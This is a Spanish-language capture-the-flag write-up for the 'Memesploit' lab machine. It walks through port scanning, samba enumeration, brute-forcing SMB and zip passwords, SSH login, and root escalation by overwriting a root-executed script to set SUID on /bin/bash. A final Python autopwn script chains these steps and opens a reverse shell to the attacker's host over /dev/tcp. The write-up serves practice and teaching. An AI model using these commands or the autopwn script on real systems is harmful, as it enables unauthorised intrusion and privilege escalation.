> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/memesploit-write-up.md).
# Memesploit write-up
## **Verificamos conexión con la máquina víctima**
## **Escaneo de puertos abiertos de la máquina víctima y explotación de vulnerabilidades**
Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo indica que el puerto 22 (SSH), el 80 (HTTP), el 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que vamos a ingresar la IP de la máquina víctima en el navegador.
Observamos que hay varias palabras que no aparecen. Por lo que vamos a revisar el código fuente.
Contemplamos que las palabras escondidas eran `fuerzabrutasiempre`, `memesploit_ctf` y `memehydra`. Así que lo que haré será guardarlas al principio del `rockyou.txt`. A continuación, usaremos la herramienta llamada **enum4linux** para enumerar los usuarios del samba.
```bash
enum4linux 172.17.0.2
```
Esto enumera el usuario `memesploit` y `memehydra`. Por lo que ahora realizaremos un ataque de fuerza bruta con ayuda de **crackmapexec**.
```bash
crackmapexec smb 172.17.0.2 -u users.txt -p ../rockyou.txt --shares
```
Esto indica que la contraseña del usuario `memesploit` es `123456`, sin embargo, al intentar iniciar sesión observaremos que es un falso positivo, por lo que probaremos ahora solo con el usuario `memehydra`.
```bash
crackmapexec smb 172.17.0.2 -u memehydra -p ../rockyou.txt --shares
```
Esto indica que la contraseña del usuario `memehydra` es `fuerzabrutasiempre`. Además indica que tenemos permisos de lectura en el recurso `share_memehydra`. Por lo que accederemos a el usando **smbclient**.
```bash
smbclient //172.17.0.2/share_memehydra/ -U memehydra%fuerzabrutasiempre
```
Contemplamos que el recurso contiene el archivo `secret.zip`, así que lo pasamos a nuestra máquina.
```bash
get secret.zip
```
Como para descomprimirlo se necesita una contraseña, usaremos la herramienta **zip2john** para obtener la contraseña hasheada.
```bash
zip2john secret.zip > hash
```
Ahora realizaremos un ataque de fuerza bruta a la contraseña utilizando **John The ripper**.
```bash
john --wordlist=../rockyou.txt hash
```
Esto indica que la contraseña del archivo `secret.zip` es `memesploit_ctf`. Por lo tanto, vamos a descomprimir el archivo.
```bash
unzip -P memesploit_ctf secret.zip
```
Al descomprimir el archivo `secret.zip`, obtenemos el fichero `secret.txt`, el cual contiene las credenciales de acceso: `memesploit:metasploitelmejor`. Con esta información, procederemos a iniciar sesión en el servicio SSH.
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar `/usr/sbin/service login_monitor restart` como usuario `root`.
Si ahora realizamos una búsqueda observaremos lo siguiente:
```bash
find / -name login_monitor 2>/dev/null
```
Si revisamos el contenido del fichero `/etc/init.d/login_monitor` contemplaremos lo siguiente:
Podemos observar que se está ejecutando el script `/root/login_monitor` cuando el servicio se inicia, además se guarda la salida del script en el archivo `/var/log/login_monitor.log`.
Contemplamos que en script está guardando los intentos inicios de sesión de servicio SSH usando la herramienta **tcpdump**.
Si ahora investigamos `/etc/login_monitor`, contemplaremos lo siguiente:
Observamos varios **scripts** y archivos de configuración. Si inspeccionamos el contenido del script `actionban.sh` contemplamos lo siguiente:
El script registra un intento de bloqueo de una IP aleatoria en el archivo log `/tmp/block_log.txt`, el cual podemos observar que si existe.
Los demás script se supone que utilizan el directorio `/etc/actionban` para almacenar los archivos de configuración, sin embargo, el directorio `/etc/actionban` no existe, por lo que podemos concluir que los scripts `activity.sh, network.sh y security.sh` no se están ejecutando. Así que lo que vamos a probar a iniciar sesión en el servicio SSH y vamos a observar si el archivo `/tmp/block_log.txt` contiene una nueva IP aleatoria.
Observamos que al iniciar sesión de manera correcta, el script `actionban.sh` se ejecuta una vez. Ahora como tenemos permisos sobre el directorio `/etc/login_monitor/`, podemos cambiar el contenido del script, para así dar permisos SUID al binario `/bin/bash`
```bash
mv /etc/login_monitor/actionban.sh /etc/login_monitor/actionban.txt
```
```bash
cat > /etc/login_monitor/actionban.sh << 'EOF'
#!/bin/bash
chmod 4777 /bin/bash
EOF
```
```bash
chmod 0777 /etc/login_monitor/actionban.sh
```
Si ahora volvemos a iniciar sesión en el servicio SSH.
## **Autopwn**
```python
import os
import time
import subprocess
def crear_script_expect1():
print("[+] Creando script1.exp...")
contenido = """#!/usr/bin/expect
set timeout 1
spawn zsh
expect "$ "
send "ssh memesploit@172.17.0.2\r"
expect "$ "
send "metasploitelmejor\r"
expect "$ "
send "mv /etc/login_monitor/actionban.sh /etc/login_monitor/actionban.txt\r"
expect "$ "
send {cat > /etc/login_monitor/actionban.sh << 'EOF'
#!/bin/bash
chmod 4777 /bin/bash
EOF}
expect "$ "
send "\r"
expect "$ "
send "chmod 0777 /etc/login_monitor/actionban.sh\r"
interact
"""
with open("script1.exp", "w") as f:
f.write(contenido)
print("[+] Archivo script1.exp creado correctamente.")
os.system("chmod 0777 script1.exp")
def iniciar_escucha1():
print(f"[+] Iniciando script1.exp...")
listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])
time.sleep(1)
win_id1 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
subprocess.run(["xdotool", "windowminimize", win_id1])
return win_id1
def crear_script_expect2():
print("[+] Creando script2.exp...")
contenido = """#!/usr/bin/expect
set timeout 1
spawn zsh
expect "# "
send "ssh memesploit@172.17.0.2\r"
expect "# "
send "metasploitelmejor\r"
expect "# "
send "exit\r"
expect "# "
send "ssh memesploit@172.17.0.2\r"
expect "# "
send "metasploitelmejor\r"
expect "# "
send "exit\r"
expect "# "
send "ssh memesploit@172.17.0.2\r"
expect "# "
send "metasploitelmejor\r"
expect "# "
send "bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""
with open("script2.exp", "w") as f:
f.write(contenido)
print("[+] Archivo script2.exp creado correctamente.")
os.system("chmod 0777 script2.exp")
def iniciar_escucha2():
print(f"[+] Iniciando script2.exp...")
listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])
time.sleep(1)
win_id2 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
subprocess.run(["xdotool", "windowminimize", win_id2])
return win_id2
def main():
crear_script_expect1()
time.sleep(1)
win_id1 = iniciar_escucha1().decode('utf-8')
crear_script_expect2()
time.sleep(1)
win_id2 = iniciar_escucha2().decode('utf-8')
os.system(f"nc -nlvvp 4444")
os.system(f"rm script1.exp script2.exp ; xdotool windowclose {win_id1}; xdotool windowclose {win_id2}")
if __name__ == "__main__":
main()
```
